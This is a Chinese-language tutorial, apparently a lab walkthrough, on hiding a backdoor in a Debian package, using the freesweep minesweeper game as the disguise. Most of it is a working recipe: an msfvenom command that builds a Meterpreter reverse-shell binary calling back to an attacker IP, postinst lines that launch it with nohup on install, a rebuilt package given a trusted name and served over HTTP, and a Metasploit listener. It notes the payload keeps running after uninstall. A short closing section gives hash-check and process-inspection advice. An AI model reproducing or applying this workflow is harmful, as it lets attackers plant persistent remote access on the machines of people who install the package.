实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。
1、软件包结构浅析
找一个要伪装的软件包,这里我们以 freesweep_1.0.1-2_amd64.deb 扫雷游戏为例。
使用如下命令解压软件包到 free 目录:
dpkg -x freesweep_1.0.1-2_amd64.deb free
deb 软件包里面的结构:它具有 DEBIAN 和软件具体安装目录.

那么再解压 deb 包中 DEBIAN 目录下的文件:
dpkgdpkg -e freesweep_1.0.1-2_amd64.deb free/DEBIAN
进入 DEBIAN 目录下,有以下文件:

- conffiles:是软件包管理系统在升级该软件包时不会覆盖的配置文件(通常在 /etc 中)的列表。这确保了对这些文件的本地修改会被保留,因此是一个非常重要的功能,使得正在运行中的系统的软件包可以被原地升级。
- control:这个文件主要描述软件包的名称(Package),版本(Version),Installed-Size(大小),Maintainer(打包人和联系方式)以及描述(Description)等,是 deb 包必须具备的描述性文件,以便于软件的安装管理和索引。
- postinst:负责完成安装包时的配置工作。如新安装或升级的软件重启服务。软件安装完后,执行该Shell 脚本,一般用来配置软件执行环境,必须以“#!/bin/sh”为首行。
- postrm:负责修改软件包链接或文件关联,或删除由它创建的文件。软件卸载后,执行该 Shell 脚本,一般作为清理收尾工作,必须以“#!/bin/sh”为首行。
2、生成恶意木马绑定到软件包
使用 msfvenom 生成 Linux 木马到解压软件包的 /usr/games/目录下:
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.124.66 LPORT=4444 -b "\x00" -f elf -o /root/test/free/usr/games/freesweep_sources
然后我们来修改安装后脚本文件,来加载后门:
vim /root/test/free/DEBIAN/postinst
在适当位置添加如下代码:
sudo chmod +x /usr/games/freesweep_sources
sudo nohup /usr/games/freesweep_sources &
sudo rm -rf /nohup.out

其中
& 是将命令放到后台运行,nohup 用于在系统后台不挂断地运行命令,退出终端不会影响程序的运行。使用命令 shell 时,在命令前加上 nohup 可防止在注销或退出 shell 时命令自动中止。
nohup 这个名字代表“不挂断”。挂断(HUP)信号通常被发送到进程以通知它用户已注销(或“挂起”),被 nohup 拦截,允许进程继续运行。
修改后给脚本再加一个可执行权限,然后构建新的 deb 包:
dpkg-deb --build /root/test/free/
再将其命名为可信的文件名 freesweep_1.0.1-2_amd64.deb。

python3 -m http.server 8000开个服务让目标机下载,自己做好监听:
msfdb run
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.124.66
set LPORT 4444
run
3、目标机下载软件包安装并上线
目标机收到你传给他的下载链接下载并安装 deb 包:
wget http://192.168.124.66:8000/freesweep_1.0.1-2_amd64.deb
sudo dpkg -i freesweep_1.0.1-2_amd64.deb

只要安装了木马就上线了,和游戏开没开没关系,游戏打开是这样:

kali端上线:

ubuntu 卸载 freesweep:
sudo dpkg -r freesweep

我们发现就算恶意软件包被卸载,payload 依旧正常运行。
4、避免中招
对于官方源中已有的软件包,如果必须通过外部链接下载,务必进行哈希值校验。
- 获取官方校验值:从官方镜像站或使用 apt-get download 下载正版包,然后使用
sha256sum 包名.deb计算其哈希值。 - 校验下载包:对下载的可疑包执行相同的哈希计算,对比两者结果。若不一致,说明包已被篡改,绝对不可安装。
安装软件后,如果怀疑系统异常,可以使用以下命令进行排查:
- 查看网络连接:使用
netstat -antlp或ss -tulnp查看是否有未知的外部连接(特别是连接到陌生 IP 的 TCP 连接)。 - 查看可疑进程:使用
ps aux | grep -v "合法进程名"或top命令,查找占用资源异常或名称奇怪的进程。 - 检查后台任务:注意实验中使用了
nohup和&将进程放入后台。检查是否有通过 nohup.out (已被删除)或其他日志文件隐藏输出的进程。